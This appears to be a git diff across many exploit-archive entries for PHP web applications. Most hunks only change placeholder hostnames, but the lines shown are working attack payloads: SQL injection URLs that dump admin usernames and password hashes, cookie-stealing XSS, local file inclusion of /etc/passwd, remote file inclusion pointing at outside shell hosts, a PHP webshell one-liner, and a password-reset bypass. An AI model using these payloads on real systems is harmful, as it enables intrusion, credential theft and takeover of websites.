uid=63676(dswrealty) gid=888(vusers) groups=33(www-data) ## diff --git a/platforms/php/webapps/6057.txt b/platforms/php/webapps/6057.txt index 935867bcc..6222b970e 100755 --- a/platforms/php/webapps/6057.txt +++ b/platforms/php/webapps/6057.txt @@ -22,7 +22,7 @@ You Can See Admin User & MD5 Password ..::.. Then You Can Crack It & Login ;) -=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- EXPLOITS: -www.server/?page=-1/**/union/**/select/**/1,2,3,concat_ws +www.site.com/?page=-1/**/union/**/select/**/1,2,3,concat_ws (0x3a,user,pass),admin/**/from/**/jsite_users/* @@ -35,8 +35,8 @@ NOTE/TIP: Admin Login Is At /admin/ U Can Upload Your Shell When U Login Successfully -From This Link: www.server/admin/index.php?menu=uploads -& Your Shell Will Be Appear Here: www.server/uploads/[file].php +From This Link: www.site.com/admin/index.php?menu=uploads +& Your Shell Will Be Appear Here: www.site.com/uploads/[file].php -=-=-=-=-=-=--=-=-=-=-=-=-=-[ Local File Inclusion ]=-=-=-=-=-=-=-=-=-=-=-=-=-=- diff --git a/platforms/php/webapps/6060.php b/platforms/php/webapps/6060.php index 3a9ad4c32..c3b1ff413 100755 --- a/platforms/php/webapps/6060.php +++ b/platforms/php/webapps/6060.php @@ -87,7 +87,7 @@ ## Proof of Concept ## **************** ## -## [C:\]# php exploit.php http://server/ +## [C:\]# php exploit.php http://www.target.com/ ## [target][cmd]# ls ## blogs_.inc.php ## content_index.inc.php diff --git a/platforms/php/webapps/6073.txt b/platforms/php/webapps/6073.txt index c9ef49b7e..56442bddf 100755 --- a/platforms/php/webapps/6073.txt +++ b/platforms/php/webapps/6073.txt @@ -1,4 +1,4 @@ ------------------------------------------------------------------- + ------------------------------------------------------------------ Name : Bilboblog 2.1 Multiples Vulnerabilities Description : Bilboblog is a small application of micro-blogging in Php / MySQL @@ -56,7 +56,7 @@ the $login and $password variable are not defined. We can set them with register_globals on, valid the form with the same value and so set $_SESSION['admin_login']. - In facts, go on the page http://server/bilboblog/admin/login.php?login=1&password=1 and fill the forms with '1' value + In facts, go on the page http://site.com/bilboblog/admin/login.php?login=1&password=1 and fill the forms with '1' value and submit. Because checkLogin is true nothing is printed and you're admin :))) @@ -120,17 +120,17 @@ If $_SERVER['QUERY_STRING'] (the url) do not contain a number, the variable $titleId is not set and print : we can define it on add a parameter titleId in the url and his value will be printed on the web page. But, the variable $titleId is betwenn the <head> balise, so we need to add </title></head><body> before the malicious code. - We have : http://server/bilboblog/?titleId=TITLE</title></head><body><script>alert(1);</script> + We have : http://site.com/bilboblog/?titleId=TITLE</title></head><body><script>alert(1);</script> Anyway, there are unfunny XSS in admin files and 'footer.php' : - http://server/bilboblog/footer.php?t_lang[lang_copyright]=XSS - http://server/bilboblog/admin/?content=&lt;/textarea&gt;XSS - http://server/bilboblog/admin/homelink.php?url=">XSS - http://server/bilboblog/admin/homelink.php?t_lang[lang_admin_help]=XSS - http://server/bilboblog/admin/homelink.php?t_lang[lang_admin_clear_cache]=XSS - http://server/bilboblog/admin/homelink.php?t_lang[lang_admin_home]=XSS - http://server/bilboblog/admin/homelink.php?t_lang[lang_admin_logout]=XSS + http://site.com/bilboblog/footer.php?t_lang[lang_copyright]=XSS + http://site.com/bilboblog/admin/?content=&lt;/textarea&gt;XSS + http://site.com/bilboblog/admin/homelink.php?url=">XSS + http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_help]=XSS + http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_clear_cache]=XSS + http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_home]=XSS + http://site.com/bilboblog/admin/homelink.php?t_lang[lang_admin_logout]=XSS and also in /admin/post.php ... @@ -171,7 +171,7 @@ # -- CUT # Config - host = 'server' + host = 'site.com' path = '/bilboblog/' # -- End diff --git a/platforms/php/webapps/6075.txt b/platforms/php/webapps/6075.txt index 77c08ad46..da6e3fcae 100755 --- a/platforms/php/webapps/6075.txt +++ b/platforms/php/webapps/6075.txt @@ -10,7 +10,7 @@ [*] XSS <= 1.3a [+] all.php?tag= [Code Javascript] - [+] http://server/all.php?tag=<script>alert(document.cookie)</script> + [+] http://site.com/all.php?tag=<script>alert(document.cookie)</script> [*] SQL (plugin users) 1.3a [+] plugins/users/index.php?id= [Code SQL] @@ -62,7 +62,7 @@ print "[+] Galatolo Web Manager (plugin users) 1.3 Remote SQL Injection\n"; print "[+] Exploit Coded By: StAkeR ~ StAkeR\@hotmail.it\n\n"; print "[+] Usage: Perl $0 <host>\n"; - print "[+] Usage: Perl $0 http://server\n"; + print "[+] Usage: Perl $0 http://site.com\n"; } # milw0rm.com [2008-07-15] diff --git a/platforms/php/webapps/6076.txt b/platforms/php/webapps/6076.txt index 07c630a60..293b81724 100755 --- a/platforms/php/webapps/6076.txt +++ b/platforms/php/webapps/6076.txt @@ -1,4 +1,4 @@ -==================================================== + ==================================================== | pSys v0.7.0 Alpha Multiple Remote File Include | (works only with register_globals = on) | Founded By rXh RoMaNTiC-TeaM diff --git a/platforms/php/webapps/6078.txt b/platforms/php/webapps/6078.txt index 7a74445a1..9ddd20426 100755 --- a/platforms/php/webapps/6078.txt +++ b/platforms/php/webapps/6078.txt @@ -1,4 +1,4 @@ -<< In The Name Of GOD >> + << In The Name Of GOD >> ------------------------------------------------------------- @@ -31,7 +31,7 @@ Exploit : ########################################################## # -# server/path/cms/modules/form.lib.php?sourceFolder=http://shell.own3r.by.ru/syn99.php? +# www.target.com/path/cms/modules/form.lib.php?sourceFolder=http://shell.own3r.by.ru/syn99.php? # ########################################################## diff --git a/platforms/php/webapps/6081.txt b/platforms/php/webapps/6081.txt index 557d716b7..02cdee36e 100755 --- a/platforms/php/webapps/6081.txt +++ b/platforms/php/webapps/6081.txt @@ -1,4 +1,4 @@ -############################################################################################ + ############################################################################################ # # # ...:::::Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability ::::.... # ############################################################################################ diff --git a/platforms/php/webapps/6091.txt b/platforms/php/webapps/6091.txt index 9960de338..4168b70d8 100755 --- a/platforms/php/webapps/6091.txt +++ b/platforms/php/webapps/6091.txt @@ -20,10 +20,10 @@ ## ## -[[: Exploites for versions :]]- ## -## [[ V4.4.8 ]] server/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,CONVERT(CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())+using+latin1),0,0,0,0,0-- -## [[ V4.3.9 ]] server/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,user(),@@version,0,0,0,0,0-- -## [[ V4.3.10]] server/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())-- -## [[ V5.2.6 ]] server/phpHoo/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())-- +## [[ V4.4.8 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,CONVERT(CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())+using+latin1),0,0,0,0,0-- +## [[ V4.3.9 ]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,0,user(),@@version,0,0,0,0,0-- +## [[ V4.3.10]] www.Target.com/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())-- +## [[ V5.2.6 ]] www.Target.com/phpHoo/phpHoo3.php?viewCat=-1+UNION+SELECT+0,0,CONCAT_WS(0x3a,USER(),VERSION(),DATABASE())-- ## ######################## ######################## diff --git a/platforms/php/webapps/6095.pl b/platforms/php/webapps/6095.pl index 44a2443d8..c9568fdfa 100755 --- a/platforms/php/webapps/6095.pl +++ b/platforms/php/webapps/6095.pl @@ -11,7 +11,7 @@ print "- AlstraSoft Article Manager Pro Blind SQL Injection Exploit -\n"; print " GoLd_M Mahmood_ali Tryag.cc/cc \n"; print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n"; -print "\nEnter URL (ie: http://server): "; +print "\nEnter URL (ie: http://server.com): "; chomp(my $url=<STDIN>); if(inject_test($url)) { diff --git a/platforms/php/webapps/6096.txt b/platforms/php/webapps/6096.txt index 80c05c50c..ee2610405 100755 --- a/platforms/php/webapps/6096.txt +++ b/platforms/php/webapps/6096.txt @@ -20,7 +20,7 @@ ## ## -[[: Exploite :]]- ## -## server/index.php?page=UserProfil&id=-1'+union+select+1,2,concat_ws(0x3a3a,admin,nick,password),4,@@version+from+pre_user/* +## www.Target.com/index.php?page=UserProfil&id=-1'+union+select+1,2,concat_ws(0x3a3a,admin,nick,password),4,@@version+from+pre_user/* ## ######################## ######################## diff --git a/platforms/php/webapps/6097.txt b/platforms/php/webapps/6097.txt index c26780aae..c2782c943 100755 --- a/platforms/php/webapps/6097.txt +++ b/platforms/php/webapps/6097.txt @@ -1,4 +1,4 @@ -IloveYouTryaG + IloveYouTryaG |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | _ __ __ __ ______ | | /' \ __ /'__`\ /\ \__ /'__`\ /\ ___\ | diff --git a/platforms/php/webapps/6098.txt b/platforms/php/webapps/6098.txt index b060a9a9a..4ac250cbf 100755 --- a/platforms/php/webapps/6098.txt +++ b/platforms/php/webapps/6098.txt @@ -20,7 +20,7 @@ ## ## -[[: Exploite :]]- ## -## server/index.php?id=-1'+UNION+SELECT+0,0,0,0,0,0,0,0,'MrSQL',0,password,login,0,0,0+FROM+aprox_users/* +## www.Target.com/index.php?id=-1'+UNION+SELECT+0,0,0,0,0,0,0,0,'MrSQL',0,password,login,0,0,0+FROM+aprox_users/* ## ######################## ######################## diff --git a/platforms/php/webapps/6099.txt b/platforms/php/webapps/6099.txt index ba13239d6..d8337953c 100755 --- a/platforms/php/webapps/6099.txt +++ b/platforms/php/webapps/6099.txt @@ -19,11 +19,11 @@ ######################################## ########################################################################################################################################################## -#Exploit PoC: #http://server/folder.php?id=370+and(1=2)+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user_email,user_passwd),10,11# #+from+users--# ######################################################################################################################## +#Exploit PoC: #http://www.target.com/folder.php?id=370+and(1=2)+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,user_email,user_passwd),10,11# #+from+users--# ######################################################################################################################## ########################################################################################################################################################## ######################################################################################################### -#Admin panel: http://server/admin/ (but previously you gotta log in as administrator on website)# +#Admin panel: http://www.target.com/admin/ (but previously you gotta log in as administrator on website)# ######################################################################################################### ################################################### diff --git a/platforms/php/webapps/6102.txt b/platforms/php/webapps/6102.txt index 066357988..577c490cb 100755 --- a/platforms/php/webapps/6102.txt +++ b/platforms/php/webapps/6102.txt @@ -20,7 +20,7 @@ ## ## -[[: Exploite :]]- ## -## server/show.php?dbtable=Predictions+UNION+SELECT+0,Concat_Ws(0x3a,Username,Password)MrSQL,0,0,0+FROM+Accounts-- +## www.Target.com/show.php?dbtable=Predictions+UNION+SELECT+0,Concat_Ws(0x3a,Username,Password)MrSQL,0,0,0+FROM+Accounts-- ## ######################## ######################## diff --git a/platforms/php/webapps/6115.txt b/platforms/php/webapps/6115.txt index b1d44c9f6..bbd418211 100755 --- a/platforms/php/webapps/6115.txt +++ b/platforms/php/webapps/6115.txt @@ -1,4 +1,4 @@ -################################################################################### + ################################################################################### # # # ...:::::EZWebAlbum Insecure Cookie Handling Vulnerability ::::.... # ################################################################################### diff --git a/platforms/php/webapps/6117.txt b/platforms/php/webapps/6117.txt index b5b6ea47a..1261bbcb7 100755 --- a/platforms/php/webapps/6117.txt +++ b/platforms/php/webapps/6117.txt @@ -1,4 +1,4 @@ -_____ _ _ _____ _____ _____ _____ + _____ _ _ _____ _____ _____ _____ / ___| |_| | _ \| _ | _ |_ _| | (___| _ | [_)_/| (_) | (_) | | | \_____|_| |_|_| |_||_____|_____| |_| diff --git a/platforms/php/webapps/6125.txt b/platforms/php/webapps/6125.txt index 6b591a851..cf187cd9f 100755 --- a/platforms/php/webapps/6125.txt +++ b/platforms/php/webapps/6125.txt @@ -22,7 +22,7 @@ ## ## -[[: Exploite :]]- ## -## server/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user +## www.Target.com/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user ## ######################## ######################## diff --git a/platforms/php/webapps/6133.txt b/platforms/php/webapps/6133.txt index 3d4780b1a..3b20871e7 100755 --- a/platforms/php/webapps/6133.txt +++ b/platforms/php/webapps/6133.txt @@ -20,7 +20,7 @@ ## ## -[[: Exploite :]]- ## -## server/comment.php?mid=-1'+UNION+SELECT+0,0,0,Concat_Ws(0x3a3a,user,pass)MrSQL,0,0,0,0,0,0,0,0,0+FROM+admin/* +## www.Target.com/comment.php?mid=-1'+UNION+SELECT+0,0,0,Concat_Ws(0x3a3a,user,pass)MrSQL,0,0,0,0,0,0,0,0,0+FROM+admin/* ## ######################## ######################## diff --git a/platforms/php/webapps/6136.txt b/platforms/php/webapps/6136.txt index 25f6733bb..b8b9d5783 100755 --- a/platforms/php/webapps/6136.txt +++ b/platforms/php/webapps/6136.txt @@ -1,4 +1,4 @@ -################################################################################### + ################################################################################### # # # ...:::::phpwebnews-mysql 0.2 Insecure Cookie Handling Vulnerability ::::.... # ################################################################################### diff --git a/platforms/php/webapps/6138.txt b/platforms/php/webapps/6138.txt index 6b3299c48..98cd16c3f 100755 --- a/platforms/php/webapps/6138.txt +++ b/platforms/php/webapps/6138.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -17,9 +17,9 @@ # # [ Default table_name with users: Webusers ] # - # [ Vuln: browse.php ] http://server/browse.php?id=-1+UNION+SELECT+concat_ws(char(58),USID,EMAIL,SUPERSECRETPASSWORD,ADMIN)+from+Webusers+limit+0,1/* + # [ Vuln: browse.php ] http://site.com/browse.php?id=-1+UNION+SELECT+concat_ws(char(58),USID,EMAIL,SUPERSECRETPASSWORD,ADMIN)+from+Webusers+limit+0,1/* # - # [ Vuln: detail.php ] http://server/mobius_path/detail.php?t=exhibitions&type=exh&f=&s=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/* + # [ Vuln: detail.php ] http://site.com/mobius_path/detail.php?t=exhibitions&type=exh&f=&s=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/* # *[ in other version of Mobius, number of columns may be different ]* # # [ Dork example: "This website is powered by Mobius" ] diff --git a/platforms/php/webapps/6139.txt b/platforms/php/webapps/6139.txt index c5fcbd968..b3627f19f 100755 --- a/platforms/php/webapps/6139.txt +++ b/platforms/php/webapps/6139.txt @@ -15,8 +15,8 @@ Information; Exploit; - SQL #1: http://server/?action=pro_show&pid=[SQL Injection] - SQL #2: http://server/?action=disppro&pid=[SQL Injection] + SQL #1: http://www.target.com/?action=pro_show&pid=[SQL Injection] + SQL #2: http://www.target.com/?action=disppro&pid=[SQL Injection] Live Examples; diff --git a/platforms/php/webapps/6140.txt b/platforms/php/webapps/6140.txt index c69ce0256..569d1a76d 100755 --- a/platforms/php/webapps/6140.txt +++ b/platforms/php/webapps/6140.txt @@ -21,7 +21,7 @@ and insecure cookie handling. # phpLinkat : Sql Injection Exploit - PoC :www.server/phpLinkat/showcat.php?catid=666%20union%20select%20concat(version(),0x3a,database(),0x3a,user()),2,3,4,5,6/* + PoC :www.site.com/phpLinkat/showcat.php?catid=666%20union%20select%20concat(version(),0x3a,database(),0x3a,user()),2,3,4,5,6/* # phpLinkat : Insecure Cookie Handling diff --git a/platforms/php/webapps/6141.txt b/platforms/php/webapps/6141.txt index 6d5ef347b..b2698683a 100755 --- a/platforms/php/webapps/6141.txt +++ b/platforms/php/webapps/6141.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -18,8 +18,8 @@ # [ Default table_name with users: Webusers ] # # [ Vuln: browse.php ] - # http://server/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers-- - # http://server/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers-- + # http://site.com/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers-- + # http://site.com/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers-- # # # [ Dork example: "This website is powered by Trio" ] diff --git a/platforms/php/webapps/6160.txt b/platforms/php/webapps/6160.txt index 982326f8b..583a5073c 100755 --- a/platforms/php/webapps/6160.txt +++ b/platforms/php/webapps/6160.txt @@ -4,7 +4,7 @@ # My Homepage : WwW.4RxH.CoM # My Group : [RoMaNTiC-TeaM] # Type Of Exploit : RFI -# P.O.C. : http://WwW.4RxH.CoM/phphost_directoryv2/include/admin.php?rd=http://server/r57.txt? +# P.O.C. : http://WwW.4RxH.CoM/phphost_directoryv2/include/admin.php?rd=http://site.com/r57.txt? # Good Luck # Note : If You Lamerz , Kidz Or Snitch Just I Said For You (Fuck You) # Contact Me : RxH0@HoTMaiL.CoM diff --git a/platforms/php/webapps/6165.txt b/platforms/php/webapps/6165.txt index 35f02698a..6f0f2b96b 100755 --- a/platforms/php/webapps/6165.txt +++ b/platforms/php/webapps/6165.txt @@ -23,7 +23,7 @@ ## ## -[[: Exploite :]]- ## -## server/comments.php?ItemID=1+UNION+SELECT+CONCAT_WS(0x3a,username,password)+FROM+zr_users-- +## www.Target.com/comments.php?ItemID=1+UNION+SELECT+CONCAT_WS(0x3a,username,password)+FROM+zr_users-- ## ######################## ######################## diff --git a/platforms/php/webapps/6167.txt b/platforms/php/webapps/6167.txt index 9a3e4b893..b532d2bf8 100755 --- a/platforms/php/webapps/6167.txt +++ b/platforms/php/webapps/6167.txt @@ -25,9 +25,9 @@ ## ## -[[: Exploites :]]- ## -## [[ Article Friendly Pro ]] server/authordetail.php?autid=-1'+union+select+0,0,0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/* +## [[ Article Friendly Pro ]] www.Target.com/authordetail.php?autid=-1'+union+select+0,0,0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/* ## -## [[ Article Friendly Standard ]] server/categorydetail.php?Cat=1'+and+1=0+union+select+0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0/* +## [[ Article Friendly Standard ]] www.Target.com/categorydetail.php?Cat=1'+and+1=0+union+select+0,CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0/* ## ######################## ######################## diff --git a/platforms/php/webapps/6171.pl b/platforms/php/webapps/6171.pl index 2dc3fc40a..d78786ee3 100755 --- a/platforms/php/webapps/6171.pl +++ b/platforms/php/webapps/6171.pl @@ -33,7 +33,7 @@ sub help(){ print "\n [?] eNdonesia 8.4 Remote SQL Exploit\n"; print " [?] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; - print " [?] Use : perl $0 server\n"; + print " [?] Use : perl $0 www.target.com\n"; print " [?] Dont use \"http://\"\n"; print " [?] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; print " [?] Baliem Hacker - VOP crew - MainHack BrotherHood \n\n"; diff --git a/platforms/php/webapps/6177.php b/platforms/php/webapps/6177.php index 538e6725c..4f5ceb20b 100755 --- a/platforms/php/webapps/6177.php +++ b/platforms/php/webapps/6177.php @@ -15,7 +15,7 @@ echo "~~~~~~\n"; echo "php {$argv[0]} [url] [cmd]\n\n"; echo "[url] - target server where Symphony is installed\n"; echo "[cmd] - command to execute\n\n"; -echo "e.g. php {$argv[0]} http://server/ \"ls -la\"\n"; +echo "e.g. php {$argv[0]} http://site.com/ \"ls -la\"\n"; die; } diff --git a/platforms/php/webapps/6185.txt b/platforms/php/webapps/6185.txt index 45b92bc16..db9ef3dfb 100755 --- a/platforms/php/webapps/6185.txt +++ b/platforms/php/webapps/6185.txt @@ -21,7 +21,7 @@ ## ## -[[: Exploite :]]- ## -## server/go.php?action=report&id= Rial id here +UNION+SELECT+010,CONCAT_WS(0x3a,username,password)MrSQL+FROM+itgp_moderator-- +## www.Target.com/go.php?action=report&id= Rial id here +UNION+SELECT+010,CONCAT_WS(0x3a,username,password)MrSQL+FROM+itgp_moderator-- ## ######################## ######################## diff --git a/platforms/php/webapps/6186.txt b/platforms/php/webapps/6186.txt index 8ddc0ed37..08c7e55c8 100755 --- a/platforms/php/webapps/6186.txt +++ b/platforms/php/webapps/6186.txt @@ -21,7 +21,7 @@ ## ## -[[: Exploite :]]- ## -## server/go.php?action=report&id= Real id here +UNION+SELECT+010,CONCAT_ES(0x3a,username,password)MrSQL+FROM+itgp_moderator+limit+1,1-- +## www.Target.com/go.php?action=report&id= Real id here +UNION+SELECT+010,CONCAT_ES(0x3a,username,password)MrSQL+FROM+itgp_moderator+limit+1,1-- ## ######################## ######################## diff --git a/platforms/php/webapps/6187.txt b/platforms/php/webapps/6187.txt index 99673fbe2..86e964a66 100755 --- a/platforms/php/webapps/6187.txt +++ b/platforms/php/webapps/6187.txt @@ -21,7 +21,7 @@ ## ## -[[: Exploite :]]- ## -## server/index.php?menu=showcat&cid=-1+union+select+010,CONCAT_WS(0x3a,user,pass)MrSQL,010+from+admin-- +## www.Target.com/index.php?menu=showcat&cid=-1+union+select+010,CONCAT_WS(0x3a,user,pass)MrSQL,010+from+admin-- ## ######################## ######################## diff --git a/platforms/php/webapps/6193.txt b/platforms/php/webapps/6193.txt index bb22dfdfb..6940b7e42 100755 --- a/platforms/php/webapps/6193.txt +++ b/platforms/php/webapps/6193.txt @@ -24,10 +24,10 @@ ## ## -[[: Exploites :]]- ## -## E-Store Kit-1 server/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings-- -## E-Store Kit-2 server/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings-- -## E-Store Kit-1 Pro PayPal Edition server/viewdetails.php?pid=-1+UNION+SELECT+0,0,AdminPassword,0,0,0,0,0,0,0,0+FROM+mp2settings-- -## E-Store Kit-2 PayPal Edition server/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings-- +## E-Store Kit-1 www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings-- +## E-Store Kit-2 www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings-- +## E-Store Kit-1 Pro PayPal Edition www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,AdminPassword,0,0,0,0,0,0,0,0+FROM+mp2settings-- +## E-Store Kit-2 PayPal Edition www.Target.com/viewdetails.php?pid=-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,AdminPassword,0,0+FROM+mp2settings-- ## ######################## ######################## diff --git a/platforms/php/webapps/6194.pl b/platforms/php/webapps/6194.pl index 07e24c525..6bb230786 100755 --- a/platforms/php/webapps/6194.pl +++ b/platforms/php/webapps/6194.pl @@ -13,7 +13,7 @@ # (By the way, all downloads are logged to "/conf/downloads.conf") # # USAGE: -# Run exploit :perl expl.pl http://www.server +# Run exploit :perl expl.pl http://www.site.com # # NEEDED: # magic_quotes_gpc = off diff --git a/platforms/php/webapps/6203.txt b/platforms/php/webapps/6203.txt index dc1c090eb..5bebfe0f2 100755 --- a/platforms/php/webapps/6203.txt +++ b/platforms/php/webapps/6203.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## # # # ..:::::Dayfox Blog LOCAL FILE INCLUSION Vulnerbility ::::... # ######################################################################## @@ -43,9 +43,9 @@ if (isset($_GET["archive"])) { ---------------------------------------------------------------------------------------------------- exploit: -http://server/index.php?p=../../../../../../../etc/passwd%00 -http://server/index.php?cat=../../../../../../../etc/passwd%00 -http://server/index.php?archive=../../../../../../../etc/passwd%00 +http://site.com/index.php?p=../../../../../../../etc/passwd%00 +http://site.com/index.php?cat=../../../../../../../etc/passwd%00 +http://site.com/index.php?archive=../../../../../../../etc/passwd%00 -------- young iranian h4ck3rz diff --git a/platforms/php/webapps/6208.txt b/platforms/php/webapps/6208.txt index ed7b7ecd1..274153c94 100755 --- a/platforms/php/webapps/6208.txt +++ b/platforms/php/webapps/6208.txt @@ -10,7 +10,7 @@ Code Execution Vulnerability: Avatar evil.jpg source: <? system($_GET['cmd']); ?> -Enter to upload: http://www.server/forum/profile.php?action=editprofile&id=[Your User ID] +Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID] See the avatar name at your profile. diff --git a/platforms/php/webapps/6209.rb b/platforms/php/webapps/6209.rb index 6b2d1024d..14098d92d 100755 --- a/platforms/php/webapps/6209.rb +++ b/platforms/php/webapps/6209.rb @@ -11,7 +11,7 @@ ## on the side of the site. phpinfo() is called. ## ## Usage: ./LoveCMS_1_blocks.rb <host> -## Ex: ./LoveCMS_1_blocks.rb http://server/lovecms/ +## Ex: ./LoveCMS_1_blocks.rb http://site.com/lovecms/ ## ## Tested on: lovecms_1.6.2_final (MacOS X, Xampp) # diff --git a/platforms/php/webapps/6210.rb b/platforms/php/webapps/6210.rb index b07401203..c7df48382 100755 --- a/platforms/php/webapps/6210.rb +++ b/platforms/php/webapps/6210.rb @@ -10,7 +10,7 @@ ## Description: Simply change the site settings ! ## ## Usage: ./LoveCMS_3_settings.rb <host> -## Ex: ./LoveCMS_2_themes.rb http://server/lovecms/ +## Ex: ./LoveCMS_2_themes.rb http://site.com/lovecms/ ## ## Tested on: lovecms_1.6.2_final (MacOS X, Xampp) # diff --git a/platforms/php/webapps/6215.txt b/platforms/php/webapps/6215.txt index 49be6c81b..ff98a1306 100755 --- a/platforms/php/webapps/6215.txt +++ b/platforms/php/webapps/6215.txt @@ -10,7 +10,7 @@ # File Delete Vulnerability: upload.php # # Example:http://creawebs.com.mx/sistema/upload.php?mode=delfile&file=Creando Wiki.pptx -# Exploit:http://server/upload.php?mode=delfile&file=FileName +# Exploit:http://SITE.COM/upload.php?mode=delfile&file=FileName # # $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ # diff --git a/platforms/php/webapps/6225.txt b/platforms/php/webapps/6225.txt index 9a0f2530d..5cb0baed4 100755 --- a/platforms/php/webapps/6225.txt +++ b/platforms/php/webapps/6225.txt @@ -1,4 +1,4 @@ -############################################################################################### + ############################################################################################### # # # ...:::::PHP-Ring Webring System v0.9.1 Insecure Cookie Handling Vulnerability ::::.... # ############################################################################################### diff --git a/platforms/php/webapps/6226.txt b/platforms/php/webapps/6226.txt index 564472d99..086ed8df7 100755 --- a/platforms/php/webapps/6226.txt +++ b/platforms/php/webapps/6226.txt @@ -1,4 +1,4 @@ - + ######################################################################## # # # ...:::::psipuss version 1.0 SQL Injection Vulnerabilities ::::.... # @@ -25,7 +25,7 @@ line 5: if(!empty($_GET[Cid])) $qCTitle = "select * from `categories` where `Cid` = '$_GET[Cid]'"; ------------ exploit: -http://server/categories.php?Cid='/**/union/**/select/**/1,concat(Username,0x3a,char(58),Password),3,4,5/**/from/**/users/* +http://site.com/categories.php?Cid='/**/union/**/select/**/1,concat(Username,0x3a,char(58),Password),3,4,5/**/from/**/users/* -------------------------------- .::::admin Authentication bypass vuln::::. vuln code in login.php: diff --git a/platforms/php/webapps/6228.txt b/platforms/php/webapps/6228.txt index 4a7e50d54..56154199b 100755 --- a/platforms/php/webapps/6228.txt +++ b/platforms/php/webapps/6228.txt @@ -10,7 +10,7 @@ -#exploit: server/image.php?id=-1 union select 1,2,concat(firstname,0x3a,lastname,0x3a,password),4,5,6 from im_person -- +#exploit: target.com/image.php?id=-1 union select 1,2,concat(firstname,0x3a,lastname,0x3a,password),4,5,6 from im_person -- #Description: diff --git a/platforms/php/webapps/6234.txt b/platforms/php/webapps/6234.txt index 1307114ff..6a57cd1fa 100755 --- a/platforms/php/webapps/6234.txt +++ b/platforms/php/webapps/6234.txt @@ -77,13 +77,13 @@ Line: 111-130 Example : -1. Go to url : server/index.php?option=com_user&view=reset&layout=confirm +1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm 2. Write into field "token" char ' and Click OK. 3. Write new password for admin -4. Go to url : server/administrator/ +4. Go to url : target.com/administrator/ 5. Login admin with new password diff --git a/platforms/php/webapps/6249.txt b/platforms/php/webapps/6249.txt index 1f05df41f..f9b27a2b1 100755 --- a/platforms/php/webapps/6249.txt +++ b/platforms/php/webapps/6249.txt @@ -34,7 +34,7 @@ L!VE DEMO: _________ -http://www.zeejobserver/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin-- +http://www.zeejobsite.com/bannerclick.php?adid=-5+union+select+1,2,concat(name,0x3e,pwd),4,5,6,7,8,9+from+admin-- diff --git a/platforms/php/webapps/6250.txt 